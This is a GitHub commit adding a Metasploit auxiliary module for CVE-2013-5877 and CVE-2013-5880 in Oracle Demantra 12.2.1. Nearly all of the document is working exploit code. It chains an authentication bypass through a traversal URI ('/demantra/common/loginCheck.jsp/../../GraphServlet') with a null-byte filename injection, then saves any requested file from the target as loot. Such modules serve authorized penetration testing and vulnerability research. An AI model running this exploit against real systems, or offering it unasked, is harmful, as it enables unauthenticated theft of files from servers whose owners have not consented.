Skip to content

Commit 30da357

Browse files
author
coma
committed
Add CVE-2013-5877+CVE-2013-5880 for Oracle Demantra
1 parent 19918e3 commit 30da357

File tree

1 file changed

+85
-0
lines changed

1 file changed

+85
-0
lines changed
Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Auxiliary::Scanner
11+
include Msf::Auxiliary::Report
12+
include Msf::Exploit::Remote::HttpClient
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Oracle Demantra Arbitrary File Retrieval with Authentication Bypass',
17+
'Description' => %q{
18+
This module exploits a file downlad vulnerability found in Oracle Demantra 12.2.1 in combination with an authentication bypass.
19+
This way an unauthenticated user can retreive any file on the system by referencing the full file path to any file a vulnerable machine.
20+
},
21+
'References' =>
22+
[
23+
[ 'CVE', '2013-5877', '2013-5880'],
24+
[ 'URL', 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2013-5877/',
25+
'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2013-5880/' ]
26+
],
27+
'Author' =>
28+
[
29+
'Oliver Gruskovnjak'
30+
],
31+
'License' => MSF_LICENSE,
32+
'DisclosureDate' => "January 2014"
33+
))
34+
35+
register_options(
36+
[
37+
Opt::RPORT(8080),
38+
OptBool.new('SSL', [false, 'Use SSL', false]),
39+
OptString.new('FILEPATH', [true, 'The name of the file to download', 'c:/windows/win.ini'])
40+
], self.class)
41+
42+
deregister_options('RHOST')
43+
end
44+
45+
def run_host(ip)
46+
filename = datastore['FILEPATH']
47+
48+
res = send_request_raw({
49+
'uri' => "/demantra/common/loginCheck.jsp/../../GraphServlet",
50+
'method' => 'POST',
51+
'ctype' => 'application/x-www-form-urlencoded',
52+
'data' => "filename=#{filename}%00",
53+
})
54+
55+
56+
if res.nil? or res.body.empty?
57+
print_error("No content retrieved from: #{ip}")
58+
return
59+
end
60+
61+
if res.code == 404
62+
print_error("#{rhost}:#{rport} - File not found")
63+
return
64+
end
65+
66+
if res.code == 200
67+
print_status("#{ip}:#{rport} returns: #{res.code.to_s}")
68+
end
69+
70+
if res.body.empty?
71+
print_error("#{ip}:#{rport} - Empty response, no file downloaded")
72+
else
73+
fname = File.basename(datastore['FILEPATH'])
74+
path = store_loot(
75+
'oracle.demantra',
76+
'application/octet-stream',
77+
ip,
78+
res.body,
79+
fname)
80+
81+
print_status("#{ip}:#{rport} - File saved in: #{path}")
82+
end
83+
end
84+
85+
end

0 commit comments

Comments
 (0)